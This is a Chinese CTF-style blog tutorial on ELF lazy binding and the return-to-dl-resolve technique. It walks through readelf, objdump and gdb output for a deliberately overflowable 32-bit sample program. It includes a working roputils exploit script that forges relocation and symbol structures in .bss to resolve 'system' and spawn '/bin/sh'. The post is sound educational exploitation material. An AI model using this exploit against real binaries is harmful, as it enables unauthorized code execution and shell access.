从lazy binding(延迟绑定) and return to dl-resolve


先介绍lazy binding:

代码如下:
#include <unistd.h>

int main()
{
    char buf[100];
    int size;
    read(0, &size, 4);
    read(0, buf, size);
    write(1, buf, size);
    return 0;
}
编译链接:需要在32位下,不要在64位下操作: gcc -fno-stack-protector bof.c -o bof
看一下程序的区段信息:
yang@yang-virtual-machine:~/ctf$ readelf -S bof
共有 30 个节头,从偏移量 0x1178 开始:

节头:
  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al
。。。。。。。。。
  [ 5] .dynsym           DYNSYM          080481cc 0001cc 000060 10   A  6   1  4
  [ 6] .dynstr           STRTAB          0804822c 00022c 000050 00   A  0   0  1
。。。。。。。。。。
  [ 9] .rel.dyn          REL             080482a8 0002a8 000008 08   A  5   0  4
  [10] .rel.plt          REL             080482b0 0002b0 000020 08   A  5  12  4
  [11] .init             PROGBITS        080482d0 0002d0 000023 00  AX  0   0  4
  [12] .plt              PROGBITS        08048300 000300 000050 04  AX  0   0 16
。。。。。。
  [21] .dynamic          DYNAMIC         08049f14 000f14 0000e8 08  WA  6   0  4
  [22] .got              PROGBITS        08049ffc 000ffc 000004 04  WA  0   0  4
  [23] .got.plt          PROGBITS        0804a000 001000 00001c 04  WA  0   0  4
  [24] .data             PROGBITS        0804a01c 00101c 000008 00  WA  0   0  4
  [25] .bss              NOBITS          0804a024 001024 000004 00  WA  0   0  1
。。。。。
  [28] .symtab           SYMTAB          00000000 001628 000440 10     29  45  4
  [29] .strtab           STRTAB          00000000 001a68 00025f 00      0   0  1
Key to Flags:
  W (write), A (alloc), X (execute), M (merge), S (strings)
  I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown)
  O (extra OS processing required) o (OS specific), p (processor specific)
当在ELF文件中调用一个库函数时,因为库是动态加载的,所以库函数的地址也是不确定的,需要动态加载确定 。
比如调用read函数 ,一般程序汇编代码为: call write@plt
在区段中,重点是这三个区段:plt、rel.plt、got.plt,重点介绍下:
plt段包含一段代码,call的时候就是执行这段代码,rel.plt包含重定位时关于函数地址的结构体,got.plt包含函数的地址,如果是第一次调用函数时,got.plt中包含plt表的地址,以后调用函数时,该表中保存函数地址。

.rel.plt节是用于函数重定位,.rel.dyn节是用于变量重定位在.rel.plt中列出了链接的C库函数

符号信息:
yang@yang-virtual-machine:~/ctf$ readelf -s bof

Symbol table '.dynsym' contains 6 entries:
   Num:    Value  Size Type    Bind   Vis      Ndx Name
     0: 00000000     0 NOTYPE  LOCAL  DEFAULT  UND 
     1: 00000000     0 FUNC    GLOBAL DEFAULT  UND read@GLIBC_2.0 (2)
     2: 00000000     0 NOTYPE  WEAK   DEFAULT  UND __gmon_start__
     3: 00000000     0 FUNC    GLOBAL DEFAULT  UND __libc_start_main@GLIBC_2.0 (2)
     4: 00000000     0 FUNC    GLOBAL DEFAULT  UND write@GLIBC_2.0 (2)
     5: 0804854c     4 OBJECT  GLOBAL DEFAULT   15 _IO_stdin_used

Symbol table '.symtab' contains 68 entries:
   Num:    Value  Size Type    Bind   Vis      Ndx Name
     。。。。。。。。。。
    46: 00000000     0 FUNC    GLOBAL DEFAULT  UND read@@GLIBC_2.0
      。。。。。。。。。。。
    56: 00000000     0 FUNC    GLOBAL DEFAULT  UND __libc_start_main@@GLIBC_
    57: 00000000     0 FUNC    GLOBAL DEFAULT  UND write@@GLIBC_2.0
  。。。。。。。。。。。。
    63: 0804844d   100 FUNC    GLOBAL DEFAULT   13 main
    64: 00000000     0 NOTYPE  WEAK   DEFAULT  UND _Jv_RegisterClasses
    65: 0804a024     0 OBJECT  GLOBAL HIDDEN    24 __TMC_END__
    66: 00000000     0 NOTYPE  WEAK   DEFAULT  UND _ITM_registerTMCloneTable
    67: 080482d0     0 FUNC    GLOBAL DEFAULT   11 _init
dynamic段信息如下:
yang@yang-virtual-machine:~/ctf$ readelf -d bof

Dynamic section at offset 0xf14 contains 24 entries:
  标记        类型                         名称/值
 0x00000001 (NEEDED)                     共享库:[libc.so.6]
。。。。。。。。。。。
 0x00000005 (STRTAB)                     0x804822c
 0x00000006 (SYMTAB)                     0x80481cc
 0x0000000a (STRSZ)                      80 (bytes)
 0x0000000b (SYMENT)                     16 (bytes)
。。。。。。。。。。。
 0x00000017 (JMPREL)                     0x80482b0
 0x00000011 (REL)                        0x80482a8
 0x00000012 (RELSZ)                      8 (bytes)
 0x00000013 (RELENT)                     8 (bytes)
。。。。。。。。。。。
yang@yang-virtual-machine:~/ctf$ 
几个结构体:
.dynamic节区结构体如下:
typedef struct { 
Elf32_Sword d_tag; 
union { Elf32_Word d_val; Elf32_Addr d_ptr; } d_un;
 }
 Elf32_Dyn;
.rel.plt的结构体如下:
typedef struct { 
Elf32_Addr r_offset; // 函数的真实地址
Elf32_Word r_info; // 符号表索引
} Elf32_Rel;
r_info要满足这样的条件:
symtab+(r_info>>8)*0x10=sym_entry
r_info & 0xff = 0x7(对应于R_386_JUMP_SLOT)
.dynsym结构体定义:
typedef struct{ 
Elf32_Word st_name; /* Symbol name (string tbl index) */ 
Elf32_Addr st_value; /* Symbol value */ 
Elf32_Word st_size; /* Symbol size */ 
unsigned char st_info; /* Symbol type and binding */ 
unsigned char st_other; /* Symbol visibility under glibc>=2.2 */ 
Elf32_Section st_shndx; /* Section index */
} Elf32_Sym;

对应着dynamic区段的symtab。


STRTAB中包含着对应的字符串:
gdb-peda$ x/10s 0x804822c
0x804822c:	""
0x804822d:	"libc.so.6"
0x8048237:	"_IO_stdin_used"
0x8048246:	"read"
0x804824b:	"__libc_start_main"
0x804825d:	"write"
0x8048263:	"__gmon_start__"
0x8048272:	"GLIBC_2.0"
0x804827c:	""
0x804827d:	""
下边具体分析一下plt段的代码:
yang@yang-virtual-machine:~/ctf$ objdump -d -j.plt bof

bof:     文件格式 elf32-i386


Disassembly of section .plt:

08048300 <read@plt-0x10>:
 8048300:	ff 35 04 a0 04 08    	pushl  0x804a004
 8048306:	ff 25 08 a0 04 08    	jmp    *0x804a008
 804830c:	00 00                	add    %al,(%eax)
	...

08048310 <read@plt>:
 8048310:	ff 25 0c a0 04 08    	jmp    *0x804a00c
 8048316:	68 00 00 00 00       	push   $0x0
 804831b:	e9 e0 ff ff ff       	jmp    8048300 <_init+0x30>

08048320 <__gmon_start__@plt>:
 8048320:	ff 25 10 a0 04 08    	jmp    *0x804a010
 8048326:	68 08 00 00 00       	push   $0x8
 804832b:	e9 d0 ff ff ff       	jmp    8048300 <_init+0x30>

08048330 <__libc_start_main@plt>:
 8048330:	ff 25 14 a0 04 08    	jmp    *0x804a014
 8048336:	68 10 00 00 00       	push   $0x10
 804833b:	e9 c0 ff ff ff       	jmp    8048300 <_init+0x30>

08048340 <write@plt>:
 8048340:	ff 25 18 a0 04 08    	jmp    *0x804a018
 8048346:	68 18 00 00 00       	push   $0x18
 804834b:	e9 b0 ff ff ff       	jmp    8048300 <_init+0x30>
可以看出plt段起始地址 对应dl_runtime_resolve函数

还是以函数read举例,当调用函数read时,执行call read@plt,跳到地址8048310处执行。
gdb-peda$ x/wx 0x804a00c
0x804a00c <read@got.plt>:	0x08048316

gdb-peda$ x/20wx 0x0804a000 
0x804a000:	0x08049f14	0xb7fff938	0xb7ff24f0	0x08048316
0x804a010 <__gmon_start__@got.plt>:	0x08048326	0xb7e2f990	0x08048346	0x00000000
0x804a020:	0x00000000	0x00000000	0x00000000	0x00000000
0x804a030:	0x00000000	0x00000000	0x00000000	0x00000000
0x804a040:	0x00000000	0x00000000	0x00000000	0x00000000
可以看到刚开始read@got.plt中保存的是read@plt+0x6的地址,所以调到地址0x8048316处继续执行。
先将got+4入栈,在调用*(got+0x8)处的函数

注意got.plt表的前三项有特殊意义:第一项是.dynamic段的地址,第二个是link_map的地址,第三个是_dl_runtime_resolve函数的地址,第四项开始就是函数的GOT表了。

函数_dl_runtime_resolve的定义: _dl_runtime_resolve(link_map, rel_offset)
_dl_runtime_resolve则会完成具体的符号解析,填充结果,和调用的工作。

根据rel_offset,找到重定位条目:
Elf32_Rel * rel_entry = JMPREL + rel_offset;

JMPREL( 对应 rel.plt)可以通过以下命令获取:
yang@yang-virtual-machine:~/ctf$ readelf -d bof | grep JMPREL
0x00000017 (JMPREL) 0x80482b0

gdb-peda$ x/2wx 0x80482b0
0x80482b0: 0x0804a00c 0x00000107

根据rel_entry中的符号表条目编号,得到对应的符号信息:
Elf32_Sym *sym_entry = SYMTAB[ELF32_R_SYM(rel_entry->r_info)];
我们知道在找到Elf32_Rel结构体后,会通过r_info >> 8得到Elf32_Sym结构体的位置

#define ELF32_R_SYM(val) ((val) >> 8)

这样,rel_entry->r_info=0x107 ELF32_R_SYM(rel_entry->r_info)=0x107>>8=1 也就是索引为1 索引从0开始

所以SYMTAB[1]表示索引为1,也就是symtab+0x10

r_info
yang@yang-virtual-machine:~/ctf$ readelf -d bof | grep SYM
 0x00000006 (SYMTAB)                     0x80481cc
 0x0000000b (SYMENT)                     16 (bytes)
 0x6ffffff0 (VERSYM)                     0x804827c
gdb-peda$ x/5wx 0x80481dc  (sym_entry)
0x80481dc:	0x0000001a	0x00000000	0x00000000	0x00000012
0x80481ec:	0x00000037
再找到符号信息中的符号名称:
char *sym_name = STRTAB + sym_entry->st_name;

yang@yang-virtual-machine:~/ctf$ readelf -d bof | grep STR
 0x00000005 (STRTAB)                     0x804822c
 0x0000000a (STRSZ)                      80 (bytes)
gdb-peda$ x/s 0x804822c+0x1a
0x8048246: "read"
根据函数名字,搜索动态库。找到地址后,填充至.got.plt对应位置。最后调整栈,调用这一解析得到的函数。

return to dl-resolve:
利用原理就是在用户可以控制的区域内,布置几个结构体,包括rel.plt,SYMTAB这几个相关的结构体,数据设置为自己的数据,最后调用到自己要执行的函数。

看一下用roputils模块写的exp:
from roputils import *
fpath = './pwn200'
offset = 112
rop = ROP(fpath)
addr_bss = rop.section('.bss') #获得bss节的地址
buf = rop.retfill(offset) #填充112个字符
buf += rop.call('read', 0, addr_bss, 500) #调用read函数,将数据读取到add_bss地址处
buf += rop.dl_resolve_call(addr_bss+20, addr_bss) #调用dl_resolve函数,执行addr_bss+20的函数,参数在addr_bss处。

target = Proc(rop.fpath)
target.write(p32(len(buf))) 
target.write(buf)
print target.read(len(buf))
buf = rop.string('/bin/sh')  #从此往下都是读取的数据,此处是函数参数,从此开始也是我们控制布置数据的区域
buf += rop.fill(20, buf)  填充20大小
buf += rop.dl_resolve_data(addr_bss+20, 'system') #通过伪造system获得其地址
buf += rop.fill(500, buf)
target.write(buf)
target.interact(0)
看一下文章开头的源代码对应的汇编代码:
.text:0804844D                               ; __unwind {
.text:0804844D 55                                            push    ebp
.text:0804844E 89 E5                                         mov     ebp, esp
.text:08048450 83 E4 F0                                      and     esp, 0FFFFFFF0h
.text:08048453 83 C4 80                                      add     esp, -80h
.text:08048456 C7 44 24 08 04 00 00 00                       mov     dword ptr [esp+8], 4 ; nbytes
.text:0804845E 8D 44 24 18                                   lea     eax, [esp+80h+buf]
.text:08048462 89 44 24 04                                   mov     [esp+4], eax    ; buf
.text:08048466 C7 04 24 00 00 00 00                          mov     dword ptr [esp], 0 ; fd
.text:0804846D E8 9E FE FF FF                                call    _read
.text:08048472 8B 44 24 18                                   mov     eax, [esp+18h]
.text:08048476 89 44 24 08                                   mov     [esp+8], eax    ; nbytes
.text:0804847A 8D 44 24 1C                                   lea     eax, [esp+80h+var_64]
.text:0804847E 89 44 24 04                                   mov     [esp+4], eax    ; buf
.text:08048482 C7 04 24 00 00 00 00                          mov     dword ptr [esp], 0 ; fd
.text:08048489 E8 82 FE FF FF                                call    _read
.text:0804848E 8B 44 24 18                                   mov     eax, [esp+18h]
.text:08048492 89 44 24 08                                   mov     [esp+8], eax    ; n
.text:08048496 8D 44 24 1C                                   lea     eax, [esp+80h+var_64]
.text:0804849A 89 44 24 04                                   mov     [esp+4], eax    ; buf
.text:0804849E C7 04 24 01 00 00 00                          mov     dword ptr [esp], 1 ; fd
.text:080484A5 E8 96 FE FF FF                                call    _write
.text:080484AA B8 00 00 00 00                                mov     eax, 0
.text:080484AF C9                                            leave
.text:080484B0 C3                                            retn
.text:080484B0                               ; } // starts at 804844D
.text:080484B0                               main            endp
再看一下伪代码:
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf; // [esp+18h] [ebp-68h]
  char v5; // [esp+1Ch] [ebp-64h]

  read(0, &buf, 4u);
  read(0, &v5, *(size_t *)&buf);
  write(1, &v5, *(size_t *)&buf);
  return 0;
}
虽然此时是
char v5; // [esp+1Ch] [ebp-64h]
我们普遍认为覆盖到溢出点需要0x64+4
但是因为
.text:08048450 83 E4 F0                                      and     esp, 0FFFFFFF0h
这段汇编代码的影响(将esp 和0xfffffff0 与操作,导致esp的末位被置零,而这里esp末位是8,所以相当于esp-0x8),所以覆盖到溢出点需要0x64+0x8+0x4=0x70

64位调用roputils: https://blog.csdn.net/guiguzi5512407/article/details/52752914 (栈溢出利用之return to dl-resolve实例) 但是没有成功
相关链接:
https://github.com/inaz2/roputils

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值